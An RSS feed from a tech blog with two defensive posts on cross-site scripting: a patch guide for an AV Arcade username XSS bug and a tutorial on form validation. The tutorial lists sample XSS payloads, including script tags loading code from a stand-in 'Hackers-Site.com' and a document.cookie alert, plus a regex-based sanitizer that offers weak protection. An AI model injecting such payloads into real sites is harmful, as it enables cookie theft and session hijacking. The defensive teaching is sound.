<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abeon Tech &#187; XSS</title>
	<atom:link href="http://abeontech.com/tag/xss/feed" rel="self" type="application/rss+xml" />
	<link>http://abeontech.com</link>
	<description>Abeon Techs Geeky blog for Coders, Gamers, Webmasters and Tech Addicts!</description>
	<lastBuildDate>Thu, 28 Jul 2011 18:50:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>AV Arcade BugFix – XSS Exploit</title>
		<link>http://abeontech.com/324-security-avarcade-xss-exploit-patch</link>
		<comments>http://abeontech.com/324-security-avarcade-xss-exploit-patch#comments</comments>
		<pubDate>Tue, 06 Jan 2009 13:43:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[AV Arcade]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=324</guid>
		<description><![CDATA[While registering, user names can get be entered so to show a live link on the members page.
It's not a major problem as addslashes is used to stop XSS, but is still annoying and bound to be abused by spammers.
This article fixes this small issue.]]></description>
			<content:encoded><![CDATA[<h2>The Problem:</h2>
<p><strong>EDITED::&#8230;</strong><br />
This was originally reported as link spam, but could easily be a lot worse.</p>
<p>When registering, the user name field is open to possible attack.<br />
Code will be processed on the members page.<br />
The code can be overflown to the homepage fairly easily.<br />
XSS can be used.</p>
<p>I would now consider this as a serious exploit.<br />
I would suggest fixing this bug A.S.A.P</p>
<p><span id="more-324"></span></p>
<h2>The Fix:</h2>
<ul>
<li>Backup then open yoursite.com/register.php</li>
<li>Find:
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$info2</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
</li>
<li>Add below:
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$username</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
</li>
<li>Backup then open yoursite.com/admin/manage_users.php</li>
<li>Find:</li>
<li>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></div>
</li>
<li>Add below:</li>
<li>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$username</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
</li>
<li>Save and upload all files.</li>
<li>Search your members list for any user names shown as code and delete (You could also I.P. ban them).</li>
<p>This function could easily be expanded for further validation.</ol>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/324-security-avarcade-xss-exploit-patch/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XSS and web form security</title>
		<link>http://abeontech.com/232-security-xss-and-web-form-security</link>
		<comments>http://abeontech.com/232-security-xss-and-web-form-security#comments</comments>
		<pubDate>Thu, 13 Nov 2008 19:24:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=232</guid>
		<description><![CDATA[There are many instances when user input is needed. But allowing just any code to be passed can cause severe problems and lead to even the most annoying 10 year old script kiddie writing PWND all over website!

There a are some simple steps which you can take to prevent most of these.
This article will go over some of the fundamental xss attacks and how to stop them.]]></description>
			<content:encoded><![CDATA[<p>There are many instances when user input is needed. But allowing just any code to be passed can cause severe problems and lead to even the most annoying 10 year old script kiddie writing &#8220;PWND&#8221; all over website!</p>
<p>There a are some simple steps which you can take to prevent most of these.<br />
This article will go over some of the fundamental <abbr title="Cross Site Scripting">XSS</abbr> attacks and how to stop them.</p>
<p><span id="more-232"></span></p>
<blockquote><p>As of 2007, cross-site scripting carried out on websites were roughly 80% of all documented security vulnerabilities. Often during an attack &#8220;everything looks fine&#8221; to the end-user who may be subject to unauthorized access, theft of sensitive data, and financial loss.</p></blockquote>
<p><strong><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross-site scripting</a> (XSS)</strong> is, in short, a way of injecting code by a malicious web user. The code can be used for anything from displaying a persistent pop-up or crashing the browser, to including remote files to run scripts and steal cookies!</p>
<h2>What code do I need to sanitize?</h2>
<p><span class="dropcap">W</span>hat will this magical code look like?<br />
That&#8217;s an easy question to avoid as there are many ways to mess with a website that gives permission to post raw code! Not all XSS attacks will work on all websites or even all broswers. So you may see someone testing with strange looking code before you see some, if any, form of attack.</p>
<p>For this reason, I think it&#8217;s best to implement some form of <a href="http://en.wikipedia.org/wiki/BBCode">BBCode</a> system.<br />
But more on that later&#8230;</p>
<p>A few common XSS codes could include&#8230;</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><span style="color: #000066; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;XSS&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Hackers-Site.com/xss.js&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">/</span>src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Hackers-Site.com/xss.js&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span>`javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;XSS&quot;</span><span style="color: #009900;">&#41;</span>`<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'XSS'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>img <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #3366CC;">&quot;&gt;&lt;script&gt;alert(&quot;</span>XSS<span style="color: #3366CC;">&quot;)&lt;/script&gt;&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;;</span></div></div>
<p>Most of these examples will just show an annoying pop-up saying &#8220;XSS&#8221;, but could be used for more malicious purposes.</p>
<p>If any of the above <abbr title="Cross Site Scripting">XSS</abbr> examples are allowed to be displayed as output from your page, you have could have serious problems!</p>
<p>As mentioned above, there are MANY ways to abuse a website that doesn&#8217;t check what your posting or submitting.<br />
It may seem like a good idea to ask for visitors comments or asking for an email address for news subscriptions, but it&#8217;s worth checking what content will be displayed when the form is submitted.</p>
<h2>How can I prevent XSS attacks?</h2>
<p><span class="dropcap">A</span>ny code that can be submitted by a user should be validated or filtered in someway. Steps need to be taken to ensure malicious code can&#8217;t be executed on output.</p>
<p>Non-crucial pages like a confirmation page don&#8217;t need full validation. But, if a feedback form is allowed to go unchecked it could mean a cookie stealer gets injected and your customers details get stolen!</p>
<p>Generally speaking, it&#8217;s best to validate of any forms or inputted data submitted to your web site. Validating the data on input (rather than output) not only helps prevent possible attacks more effectively, but also makes sure only clean code gets entered into the database.</p>
<p>There are other benefits to cleaning up the code before it gets entered into the database. One great advantage is clean output to an administration section.</p>
<p>Let&#8217;s take my <a href="http://www.nowares.net/">Free Online Arcade</a> as an example:<br />
If I decided to ask for visitors to submit games to the website, I could just use a simple textbox to ask for the embeddable code to be entered. If the submitted content wasn&#8217;t validated in some way an attacker could inject a cookie stealer to hijack the administrators session! Flash code would not even be required if no form of validation is used, so I could just use embed a cookie stealer and a game together.</p>
<p>In an idea world, ever input field would be validated to ensure clean output. But that can be very time consuming.</p>
<blockquote><p>When accepting data from a user, any data at all, it should be sanitized before making its way to your database.<br />
&#8230;..<br />
We’ll scan through the input, searching for anything that shouldn’t be there, like html code, &lt;script&gt; tags, etc<br />
&#8230;..<br />
To use, we simply pass any input to the function. The function works on single strings, as well as deep arrays.</p></blockquote>
<p><strong>Denham Coote&#8217;s Blog</strong> has a great article on <a href="http://www.denhamcoote.com/php-howto-sanitize-database-inputs">Stripping out malicious code</a> for PHP, which is easy to implement and very effective.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<span style="color: #000000; font-weight: bold;">function</span> cleanInput<span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
<span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;script[^&gt;]*?&gt;.*?&lt;/script&gt;@si'</span><span style="color: #339933;">,</span> &nbsp; <span style="color: #666666; font-style: italic;">// Strip out javascript</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;[\/\!]*?[^&lt;&gt;]*?&gt;@si'</span><span style="color: #339933;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Strip out HTML tags</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;style[^&gt;]*?&gt;.*?&lt;/style&gt;@siU'</span><span style="color: #339933;">,</span> &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Strip style tags properly</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;![\s\S]*?--[ \t\n\r]*&gt;@'</span> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Strip multi-line comments</span><br />
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$search</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p><strong>Whenever you make a form you should not leave it alone without any form validation. Why? Because there is no guarantee that the input is correct and processing incorrect input values can make your application give unpredictable result.</strong></p>
<p><a href="http://www.php-mysql-tutorial.com/form-validation-with-php.php">Form Validation With PHP</a> covers the subject in a little more detail. The article includes full source code and examples.</p>
<h2>Closing Notes</h2>
<p><span class="dropcap">T</span>o sum it all up&#8230; Trust No One!<br />
Try to validate any code that will be submitted to the database or displayed on the website, even if only to remove the script tag.</p>
<p>In my opinion it&#8217;s a good idea to try and think like a hacker. Spam test your site before putting any changes in place. Try to execute some annoying javascript. Could you include remote javascript files? Will malformed tags allow injection?</p>
<p><strong>If you can do it, the hackers can generally do worse!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/232-security-xss-and-web-form-security/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

